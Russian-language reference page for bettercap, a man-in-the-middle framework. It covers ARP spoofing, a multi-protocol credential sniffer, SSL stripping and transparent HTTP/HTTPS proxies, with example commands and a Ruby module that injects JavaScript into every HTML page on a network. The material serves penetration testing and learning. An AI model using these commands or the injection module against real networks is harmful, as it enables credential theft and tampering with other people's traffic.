You are here: Home » Sniffing и Spoofing » Bettercap

Bettercap

Описание Bettercap

bettercap — это полный, модульный, портативный и легко расширяемый инструмент и фреймворк для MITM с диагностическими и наступательными функциями всех родов, которые могут вам понадобиться для выполнения атаки человек-посередине.

Существует ли полный, модульный, портативный и простой в расширении инструмент для атаки MITM?

Если ваш ответ “ettercap”, то давайте присмотримся к нему внимательнее:

  • ettercap был отличным инструментом, но его время прошло.
  • фильтры ettercap не работают в большинстве случаев, являются устаревшими и трудно реализуемыми из-за особенностей языка в котором они сделаны.
  • ettercap чертовски нестабилен на больших сетях … попробуйте запустить обнаружение хостов на больших сетях — больших чем обычные /24
  • да, вы можете видеть подключения и сырой материал pcap, да, отличная игрушка, но будучи профессиональным исследователем вы хотите видеть только релевантный материал.
  • если вы не являетесь разработчиком на C/C++, вы не можете легко расширить ettercap или сделать ваш собственный модуль.

В действительности вы могли бы использовать более одного инструмента … может быть arpspoof для непосредственного отравления (poisoning), mitmproxy для перехвата HTTP материала и внедрения вашей полезной нагрузки и т. д. … Не знаю как вы, а автор bettercap терпеть не может когда ему приходится использовать множество инструментов просто для выполнения единичной атаки, особенно когда их все нужно слаженно работать на одном дисрибутиве — ведь при этом нарушается принцип KISS.

Поэтому и был создан bettercap …

Особенности bettercap

  • Динамическое обнаружение хостов + ARP Spoofing

Вы можете нацелиться на всю сеть или на единичный известный адрес, это не важно, функции bettercap по спуфингу arp и его агент по обнаружению нескольких хостов сделают за вас грязную работу.

Просто запустите инструмент и ожидайте пока он делает свою работу … и, конечно, новые машины, которые появились в сети, будут обнаружены и проспуфлены автоматически.

Если ваш роутер имеет встроенную защиту от ARP сфуфинга, то не волнуйтесь, вы можете побороть это в полудуплексном режиме (half duplex).

  • Сниффер учётных данных

Встроенный сниффер в настоящее время в состоянии анализировать и печатать следующую информацию:

  • посещённые URL.
  • посещённые хосты HTTPS.
  • отправленные методом HTTP POST данные.
  • аутентификации HTTP Basic и Digest.
  • HTTP кукиз.
  • учётные данные FTP.
  • учётные данные IRC.
  • учётные данные POP, IMAP и SMTP.
  • учётные данные NTLMv1/v2 ( HTTP, SMB, LDAP и т.п. ).
  • учётные данные протокола DICT.
  • учётные данные MPD.
  • учётные данные NNTP.
  • сообщения и учётные данные DHCP.
  • учётные данные входа REDIS.
  • учётные данные RLOGIN.
  • учётные данные SNPP.
  • И другое!

Домашняя страница: bettercap.org

Автор: Simone 'evilsocket' Margaritelli*

Лицензия: GPL3

Справка по Bettercap

Испольование:

bettercap [опции]

ГЛАВНЫЕ:

-I, --interface ИНТЕРФЕЙС

Имя сетевого интерфейса — по умолчанию: eth0 [зависит от ОС]

--use-mac АДРЕС

Изменяет MAC адрес интерфейса на это значение перед выполнением атаки.

--random-mac

Изменяет MAC адрес интерфейса на случайное значение перед выполнением атаки.

-G, --gateway АДРЕС

Задать адрес шлюза вручную, если не задан, то будет получен и использован текущий шлюз. 

-T, --target ADDRESS1,ADDRESS2

Целевые IP адреса, если не заданы, то целью будет вся подсеть.

--ignore ADDRESS1,ADDRESS2

Игнорировать эти адреса, если они найдены во время поиска целей.

--no-discovery

Не искать активно хосты, просто использовать текущий ARP cache, по умолчанию отключён (false).

--no-target-nbns

Отключить преобразование хоста NBNS

--packet-throttle ЧИСЛО

Количество секунд (может быть десятичным числом) для ожидания между отправкой каждого пакета.

--check-updates

Проверить, доступны ли какие-либо обновления и выйти.

-h, --help

Показать доступные опции.

ВЕДЕНИЕ ЖУРНАЛА:

-O, --log LOG_FILE

Записать все сообщения в файл, если не установлена, то все сообщения будут только выведены в шелл.

--log-timestamp

Включить запись логов с временными отметками для каждой строки, по умолчанию отключено.

-D, --debug

Включить отладку.

--silent 

Подавить каждое сообщение, если это не ошибка или предупреждение, по умолчанию false.

SPOOFING:

-S, --spoofer NAME

Модуль, используемый для спуфинга, доступны: ARP, ICMP, NONE - по умолчанию: ARP.

--no-spoofing

Отключить спуфинг, псевдоним для --spoofer NONE.

--full-duplex

Включить режим дуплекса.

--kill

Вместо перенаправления пакетов, этот переключатель убъёт подключения целей.

SNIFFING:

-X, --sniffer 

Включить сниффер.

-L, --local 

Парсить пакеты идучие от/к адресу этого компьютера ( ВНИМАНИЕ: Установит -X в true ), по умолчанию отключено (false).

--sniffer-source ФАЙЛ

Загрузить пакеты из указанного PCAP файла вместо интерфейса ( включит сниффер ).

--sniffer-output ФАЙЛ

Сохранить все пакеты в указанный PCAP файл ( включит сниффер ).

--sniffer-filter ВЫРАЖЕНИЕ

Настроит сниффер испольовать этот BPF фильтер ( включит сниффер ).

-P, --parsers ПАРСЕР

Список парсеров для включения, разделены запятыми, "*" для всех ( ВНИМАНИЕ: Опция -X автоматически задействует все ), доступны: FTP, MYSQL, HTTPAUTH, SNMP, REDIS, POST, NTLMSS, SNPP, HTTPS, DHCP, TEAMVIEWER, IRC, MPD, WHATSAPP, MAIL, RLOGIN, URL, NNTP, PGSQL, COOKIE, DICT - по умолчанию: *

--disable-parsers ПАРСЕРЫ

Разделённый запятыми список парсеров для отключения ( ПРИМЕЧАНИЕ: Установит -X на true )

--custom-parser ВЫРАЖЕНИЕ

Использовать пользовательское регулярное выражение для захвата и показа подслушанных данных (ВНИМАНИЕ: установит -X на true ).

ПРОКСИ:


TCP:

--tcp-proxy 

Включить TCP прокси ( требует указание других --tcp-proxy-* опций ).

--tcp-proxy-module МОДУЛЬ

Модуль Ruby для загрузки TCP прокси.

--tcp-proxy-port ПОРТ

Установить локальный порт TCP прокси, по умолчанию 2222 .

--tcp-proxy-upstream АДРЕС:ПОРТ

Установить адрес и порт исходящего сервера TCP прокси.

--tcp-proxy-upstream-address АДРЕС

Установить адрес сервера исходящего TCP прокси.

--tcp-proxy-upstream-port ПОРТ

Установить порт сервера исходящего TCP прокси.

HTTP:

--proxy

Включить HTTP прокси и перенаправлять все HTTP запросы на него, по умолчанию отключён (false).

--proxy-port ПОРТ

Установить порт прокси HTTP, по умолчанию 8080.

--allow-local-connections

Разрешить прямые подключения к экземпляру прокси, по умолчанию отключено (false).

--no-sslstrip

Отключить SSLStrip.

--log-http-response

Записывать в журнал HTTP ответы.

--no-http-logs

Подавлять запись логов HTTP запросов и ответов.

--proxy-module МОДУЛЬ

Модуль прокси Ruby для загрузки, может быть пользовательским файлом или одним из следующих: injectcss, injecthtml, injectjs.

--http-ports ПОРТ1,ПОРТ2

Список разделённых запятой HTTP портов для перенаправления на прокси, по умолчанию 80.

--proxy-upstream-address АДРЕС

Если установлен, только запросы пришедшие с этого адреса сервера будут перенаправлены на HTTP/HTTPS прокси.

HTTPS:

--proxy-https

Включить HTTPS прокси и перенаправлять все HTTPS запросы на него, по умолчанию отключён (false).

--proxy-https-port ПОРТ

Установить порт прокси HTTPS, по умолчанию 8083.

--proxy-pem ФАЙЛ

Использовать пользовательский файл CA сертификата PEM для прокси HTTPS, по умолчанию ~/.bettercap/bettercap-ca.pem .

--https-ports PORT1,PORT2

Разделённый запятой список HTTPS портов для перенаправления на прокси, по умолчанию 443.

ПОЛЬЗОВАТЕЛЬСКИЕ:

--custom-proxy АДРЕС

Использовать пользовательский исходящий HTTP прокси вместо встроенного.

--custom-proxy-port ПОРТ

Указать порт пользовательского исходящего прокси HTTP, по умолчанию 8080.

--custom-https-proxy АДРЕС

Использовать пользовательский исходящий HTTPS прокси вместо встроенного.

--custom-https-proxy-port ПОРТ

Указать порт пользовательского исходящего прокси HTTPS, по умолчанию 8083.

--custom-redirection ПРАВИЛО

Применить пользовательское перенаправление порта, формат правила PROTOCOL ORIGINAL_PORT NEW_PORT. Например TCP 21 2100 будет перенаправлять весь TCP трафик, идущий на порт 21, к порту 2100.

СЕРВЕРЫ:

--httpd

Включить HTTP сервер, по умолчанию отключён (false).

--httpd-port ПОРТ

Установить порт HTTP сервера, по умолчанию 8081.

--httpd-path ПУТЬ

Установить путь HTTP сервера, по умолчанию ./ .

--dns ФАЙЛ

Включить DNS сервер и использовать этот файл в качестве таблицы преобразования хостов.

--dns-port ПОРТ

Установить порт сервера DNS, по умолчанию 5300.

Недокументированные опции:

--html-file ПУТЬ

Судя по всему, внедрение HTML файла в код страницы

Руководство по Bettercap

Страница man отсутствует.

Модульные прозрачные прокси

Модульные прозрачные прокси HTTP и HTTPS могут быть запущены с аргументом --proxy, по умолчанию ничего не происходит — только записываются HTTP запросы, но если вы укажите аргумент --proxy-module вы сможете загрузить ваши собственные модули и манипулировать HTTP трафиком по своему желанию.

Вы можете найти примеры модулей в отдельном репозитории.

Примеры работы Bettercap с прозрачными прокси

Включить прокси на порту по умолчанию ( 8080 ) без модулей ( совершенно бесполезно ):

sudo bettercap --proxy

Включить прокси и использовать пользовательский порт:

sudo bettercap --proxy --proxy-port=8081

Включить прокси и использовать модуль hack_title.rb:

sudo bettercap --proxy --proxy-module=hack_title.rb

Отключить спуфер и включить прокси ( автономный режим прокси ):

sudo bettercap --no-spoofing --no-discovery --proxy

Включить HTTPS прокси с создаваемым в реальном времени сертификатом:

sudo bettercap --proxy-https

Включить HTTPS прокси с пользовательским сертификатом .pem:

sudo bettercap --proxy-https --proxy-pem ./mycert.pem

Встроенный HTTP сервер

Вы хотите сервер с вашими пользовательскими файлами javascript в сети? Может вы хотите вставить пользовательские скрипты или изображения в HTTP ответы используя модуль прозрачного прокси, но у вас нет публичного сервера для этого? Чувак, не волнуйся.

Встроенный HTTP сервер поставляется с bettercap, он позволяет иметь сервер с собственным контентом на вашей машине без установки и настройке другого программного обеспечения вроде Apache, nginx или lighttpd.

Вы можете использовать прокси модуль примерно так:

class InjectJS < Proxy::Module  
  def on_request( request, response )
    # это html страница?
    if response.content_type =~ /^text\/html.*/
      Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
      # получаем локальный адрес интерфейса и HTTPD порт
      localaddr = Context.get.ifconfig[:ip_saddr]
      localport = Context.get.options[:httpd_port]
      # инжект js
      response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js' type='text/javascript'></script>" )
    end
  end
end  

И затем используйте его для инжекта файла js в каждый HTTP ответ в сети, использование самого bettercap как сервера для файла:

sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb

Примеры запуска Bettercap

Режим сниффера по умолчанию, все парсеры включены:

sudo bettercap -X

Включить сниффер и загрузить только некоторые парсеры:

sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"

Включить сниффер + все парсеры и парсить также локальный трафик:

sudo bettercap -X -L

Включить сниффер + все парсеры и дампить всё в файл pcap:

sudo bettercap --sniffer --sniffer-pcap=output.pcap

Как насчёт сохранения только HTTP трафика в pcap файл?

sudo bettercap --sniffer --sniffer-pcap=http.pcap --sniffer-filter "tcp and dst port 80"

Установка Bettercap

Установка в Kali Linux

apt-get install bettercap

Установка в Debian, Ubuntu, Mint

Зависимости

Все зависимости будут автоматически установлены через систему GEM, в некоторых случаях вам понадобится установить некоторые системные зависимости, чтобы всё работало:

sudo apt-get install build-essential ruby-dev libpcap-dev
sudo apt-get install ruby

Стабильный релиз ( GEM )

gem install bettercap

Релиз в разработке

git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem

Быстрый старт

После установки bettercap, сразу можно перейти к работе так:

bettercap --help

Установка в BlackArch

Программа предустановлена в BlackArch. Дополнительно следует установить:

sudo gem pristine nokogiri
sudo gem pristine unf
sudo gem pristine unf_ext
sudo gem update
sudo gem install colorize packetfu pcaprub network_interface net-dns rubydns em-proxy rmagick

Информация об установке в другие операционные системы будет добавлена позже.

Скриншоты Bettercap

02

01

Инструкции по Bettercap

Близкие программы: